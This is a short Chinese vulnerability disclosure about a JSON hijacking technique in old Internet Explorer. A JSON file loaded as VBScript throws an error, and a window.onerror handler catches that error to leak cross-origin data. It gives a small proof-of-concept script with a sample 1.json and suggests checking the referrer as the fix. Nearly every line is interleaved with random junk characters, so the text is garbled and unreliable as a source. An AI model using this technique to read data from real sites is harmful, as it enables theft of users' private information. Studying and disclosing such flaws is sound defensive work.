简要描述:
1 y9 L* f- w& y; ~% Y1 A1 e
3 y9 m) \7 o: d( Z4 s( C/ T由于某些资源容器对数据处理不当导致json劫持漏洞.
+ g/ ^' H/ a, n* Z: q详细说明:, t l( y% n. X9 B7 s
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
# e5 F0 v9 [8 N3 |) y: s r<script language=vbscript></script>" u$ c" q* q3 }- b% u) ]5 P* }# ?
3 p$ M8 C: E& h* S2 U/ Z( P$ \
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.& ], z1 ]. h h% Q
漏洞证明:
" O$ A9 P/ k9 I1 ?# ?& A<script>( t. ^( z( I5 ?' _( i& L
window.onerror=function(_){9 g, Y+ }) T7 ]
alert(_)
! \) H* h4 l4 e}
( x% l' H! x! L o' }: D! S7 T* u</script>
0 M8 n3 j* N7 M8 {, {3 X* N! t<script language=vbscript src=1.json></script>/ ?& {) r, W4 A
" J# K# K$ T' L# F! Y+ }
7 W7 J/ t4 s, i1 ?% S
1.json:) X% Q0 {2 T4 [2 V; V+ w
[{"name":"sogili","age":19}]
: ^# _0 t& U7 f6 ]修复方案:5 R" X2 ]; J u3 A# G- w. s- J; |
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |